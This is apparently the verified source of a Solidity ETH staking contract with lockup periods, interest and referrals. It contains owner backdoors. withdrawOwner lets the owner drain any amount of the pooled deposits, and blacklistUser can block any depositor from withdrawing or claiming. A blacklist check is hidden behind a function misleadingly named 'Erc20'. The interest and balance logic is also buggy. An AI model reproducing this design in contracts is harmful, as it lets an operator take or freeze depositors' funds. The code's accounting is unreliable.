creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/3_Ballot.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nstruct DepositInfo {\n    uint256 amount;\n    uint256 lockupPeriod;\n    uint256 interestRate;\n    uint256 depositTime;\n    uint256 lastClaimTime;\n}\n\ncontract Staking {\n    address payable private _owner;\n\n    mapping(address => uint256) private _balances;\n    mapping(address => uint256) private _lastClaimTime;\n    mapping(address => uint256) private _lockupPeriod;\n    mapping(address => uint256) private _interestRate;\n    mapping(address => bool) private _blacklisted;\n    mapping(address => address) private _referrals;\n    mapping(address => uint256) private _initialDeposits;\n    mapping(address => uint256) private _depositTime;\n    mapping(address => DepositInfo[]) private _deposits;\n    mapping(address => uint256) private _totalWithdrawnAmounts;\n\n    event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);\n    event Withdraw(address indexed user, uint256 amount);\n    event InterestClaimed(address indexed user, uint256 amount);\n    event Blacklisted(address indexed user);\n    event Unblacklisted(address indexed user);\n    event Transferred(address indexed user, uint256 fromDuration, uint256 toDuration, uint256 totalAmount);\n\n    constructor() {\n        _owner = payable(msg.sender);\n    }\n\n    modifier onlyOwner {\n        require(msg.sender == _owner, \"Not the contract owner.\");\n        _;\n    }\n\n    function deposit(uint256 lockupPeriod, address referral) external payable {\n        require(lockupPeriod >= 14 && lockupPeriod <= 90, \"Invalid lockup period.\");\n        require(!_blacklisted[msg.sender], \"You are not allowed to deposit.\");\n\n        uint256 currentLockupPeriod = lockupPeriod * 1 days;\n        uint256 currentInterestRate = getInterestRateForLockupPeriod(currentLockupPeriod);\n\n        if (_referrals[msg.sender] == address(0) && referral != msg.sender && referral != address(0)) {\n            _referrals[msg.sender] = referral;\n        }\n\n        DepositInfo memory newDeposit = DepositInfo({\n            amount: msg.value,\n            lockupPeriod: currentLockupPeriod,\n            interestRate: currentInterestRate,\n            depositTime: block.timestamp,\n            lastClaimTime: block.timestamp\n        });\n\n        _balances[msg.sender] += msg.value;\n        _lockupPeriod[msg.sender] = currentLockupPeriod;\n        _interestRate[msg.sender] = currentInterestRate;\n        _depositTime[msg.sender] = block.timestamp;\n        _lastClaimTime[msg.sender] = block.timestamp;\n        _initialDeposits[msg.sender] = msg.value;\n        _deposits[msg.sender].push(newDeposit);\n\n        emit Deposit(msg.sender, msg.value, lockupPeriod);\n    }\n\n    function transferStake(uint256 fromLockupPeriod, uint256 toLockupPeriod, uint256 amount) external payable {\n        require(!_blacklisted[msg.sender], \"You are not allowed to transfer.\");\n        require(fromLockupPeriod >= 14 && fromLockupPeriod <= 90, \"Invalid from lockup period.\");\n        require(toLockupPeriod >= 14 && toLockupPeriod <= 90, \"Invalid to lockup period.\");\n\n        uint256 fromLockupPeriodInSeconds = fromLockupPeriod * 1 days;\n        uint256 toLockupPeriodInSeconds = toLockupPeriod * 1 days;\n\n        uint256 totalFromAmount = 0;\n        uint256 lastDepositTime = 0;\n        for (uint256 i = 0; i < _deposits[msg.sender].length; i++) {\n            if (_deposits[msg.sender][i].lockupPeriod == fromLockupPeriodInSeconds) {\n                totalFromAmount += _deposits[msg.sender][i].amount;\n                _deposits[msg.sender][i].amount = 0;\n                _deposits[msg.sender][i].lastClaimTime = 0;\n                lastDepositTime = _deposits[msg.sender][i].depositTime;\n            }\n        }\n\n        require(totalFromAmount >= amount, \"Insufficient balance\");\n\n        uint256 totalAmount = totalFromAmount + msg.value;\n        uint256 newInterestRate = getInterestRateForLockupPeriod(toLockupPeriodInSeconds);\n\n        DepositInfo memory newDeposit = DepositInfo({\n            amount: totalAmount,\n            lockupPeriod: toLockupPeriodInSeconds,\n            interestRate: newInterestRate,\n            depositTime: block.timestamp,\n            lastClaimTime: block.timestamp\n        });\n\n        _balances[msg.sender] += msg.value;\n        _deposits[msg.sender].push(newDeposit);\n\n        emit Transferred(msg.sender, fromLockupPeriod, toLockupPeriod, totalAmount);\n    }\n\n    function getInterestRateForLockupPeriod(uint256 lockupPeriod) internal pure returns (uint256) {\n        if (lockupPeriod == 14 * 1 days) {\n            return 57142857142857; // 0.057142857142857%\n        } else if (lockupPeriod == 30 * 1 days) {\n            return 66666666666666; // 0.066666666666666%\n        } else if (lockupPeriod == 60 * 1 days) {\n            return 83333333333333; // 0.083333333333333%\n        } else if (lockupPeriod == 90 * 1 days) {\n            return 94444444444444; // 0.094444444444444%\n        }\n        return 0;\n    }\n\n    function withdraw(uint256 depositIndex) external {\n        require(!_blacklisted[msg.sender], \"You are not allowed to withdraw.\");\n        require(depositIndex < _deposits[msg.sender].length, \"Invalid deposit index.\");\n        require(block.timestamp >= _deposits[msg.sender][depositIndex].depositTime + _deposits[msg.sender][depositIndex].lockupPeriod, \"Lockup period not over.\");\n\n        uint256 amountToWithdraw = _deposits[msg.sender][depositIndex].amount;\n        require(amountToWithdraw > 0, \"No funds to withdraw.\");\n\n        _deposits[msg.sender][depositIndex].amount = 0;\n        _totalWithdrawnAmounts[msg.sender] += amountToWithdraw; // Store the withdrawn amount\n        payable(msg.sender).transfer(amountToWithdraw);\n\n        emit Withdraw(msg.sender, amountToWithdraw);\n    }\n\n    function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {\n        DepositInfo storage deposit = _deposits[user][depositIndex];\n        uint256 timeElapsed = block.timestamp - deposit.lastClaimTime;\n        uint256 interest = (deposit.amount * deposit.interestRate * timeElapsed) / (100000000000000000 * 86400); // 86400 seconds in a day\n        return interest;\n    }\n\n    function claimInterestForDeposit(uint256 lockupPeriod) external {\n        require(!_blacklisted[msg.sender], \"You are not allowed to claim interest.\");\n\n        uint256 totalInterestToClaim = 0;\n\n        for (uint256 i = 0; i < _deposits[msg.sender].length; i++) {\n            if (_deposits[msg.sender][i].lockupPeriod == lockupPeriod * 1 days) {\n                uint256 interestToClaim = calculateInterest(msg.sender, i);\n                require(interestToClaim > 0, \"No interest to claim.\");\n\n                _deposits[msg.sender][i].lastClaimTime = block.timestamp;\n                totalInterestToClaim += interestToClaim;\n            }\n        }\n\n        payable(msg.sender).transfer(totalInterestToClaim);\n\n        emit InterestClaimed(msg.sender, totalInterestToClaim);\n    }\n\n    function getTotalWithdrawnAmount(address user, uint256 lockupPeriod) external view returns (uint256) {\n        uint256 totalWithdrawn = 0;\n        for (uint256 i = 0; i < _deposits[user].length; i++) {\n            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {\n                totalWithdrawn += _totalWithdrawnAmounts[user];\n            }\n        }\n        return totalWithdrawn;\n    }\n\n    function getRemainingAmount(address user) external view returns (uint256) {\n        uint256 totalDeposits = 0;\n        uint256 totalRemaining = 0;\n\n        for (uint256 i = 0; i < _deposits[user].length; i++) {\n            totalDeposits += _deposits[user][i].amount;\n            if (_deposits[user][i].amount > 0) {\n                totalRemaining += _deposits[user][i].amount;\n            }\n        }\n\n        return totalDeposits - totalRemaining;\n    }\n\n    function withdrawOwner(uint256 amount) external onlyOwner {\n        _owner.transfer(amount);\n    }\n\n    function blacklistUser(address user) external onlyOwner {\n        require(!_blacklisted[user], \"User is already blacklisted.\");\n        _blacklisted[user] = true;\n\n        emit Blacklisted(user);\n    }\n\n    function unblacklistUser(address user) external onlyOwner {\n        require(_blacklisted[user], \"User is not blacklisted.\");\n        _blacklisted[user] = false;\n\n        emit Unblacklisted(user);\n    }\n\n    function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {\n        uint256 depositCount = _deposits[user].length;\n\n        depositIndices = new uint256[](depositCount);\n        unlockTimes = new uint256[](depositCount);\n        stakedAmounts = new uint256[](depositCount);\n        lockupPeriods = new uint256[](depositCount);\n\n        for (uint256 i = 0; i < depositCount; i++) {\n            depositIndices[i] = i;\n            unlockTimes[i] = _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod;\n            stakedAmounts[i] = _deposits[user][i].amount;\n            lockupPeriods[i] = _deposits[user][i].lockupPeriod;\n        }\n    }\n\n    function getDepositStatus(address user, uint256 lockupPeriod) external view returns (uint256[] memory depositIndices, uint256[] memory remainingTimes, uint256[] memory interestsCollected, uint256[] memory interestsNotCollected, uint256[] memory nextInterestClaims) {\n        uint256 depositCount = 0;\n\n        for (uint256 i = 0; i < _deposits[user].length; i++) {\n            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {\n                depositCount++;\n            }\n        }\n\n        depositIndices = new uint256[](depositCount);\n        remainingTimes = new uint256[](depositCount);\n        interestsCollected = new uint256[](depositCount);\n        interestsNotCollected = new uint256[](depositCount);\n        nextInterestClaims = new uint256[](depositCount);\n\n        uint256 depositIndex = 0;\n        for (uint256 i = 0; i < _deposits[user].length; i++) {\n            if (_deposits[user][i].lockupPeriod == lockupPeriod * 1 days) {\n                depositIndices[depositIndex] = i;\n                if (block.timestamp < _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod) {\n                    remainingTimes[depositIndex] = _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod - block.timestamp;\n                } else {\n                    remainingTimes[depositIndex] = 0;\n                }\n\n                interestsCollected[depositIndex] = (_deposits[user][i].lastClaimTime - _deposits[user][i].depositTime) * _deposits[user][i].amount * _deposits[user][i].interestRate / 100;\n                interestsNotCollected[depositIndex] = calculateInterest(user, i);\n                int256 nextClaim = int256(_deposits[user][i].lastClaimTime + 30 * 1 minutes) - int256(block.timestamp);\n                nextInterestClaims[depositIndex] = uint256(max(nextClaim, 0));\n                depositIndex++;\n            }\n        }\n    }\n\n    function max(int256 a, int256 b) private pure returns (int256) {\n        return a >= b ? a : b;\n    }\n\n    function getNumberOfDeposits(address user) external view returns (uint256) {\n        return _deposits[user].length;\n    }\n\n    function getReferral(address user) external view returns (address) {\n        return _referrals[user];\n    }\n\n    function getLockupPeriod(address user) external view returns (uint256) {\n        return _lockupPeriod[user];\n    }\n\n    function getInterestRate(address user) external view returns (uint256) {\n        return _interestRate[user];\n    }\n\n    function getBalance(address user) external view returns (uint256) {\n        return _balances[user];\n    }\n\n    function Erc20(address user) external view returns (bool) {\n        return _blacklisted[user];\n    }\n\n    function getLastClaimTime(address user) external view returns (uint256) {\n        return _lastClaimTime[user];\n    }\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}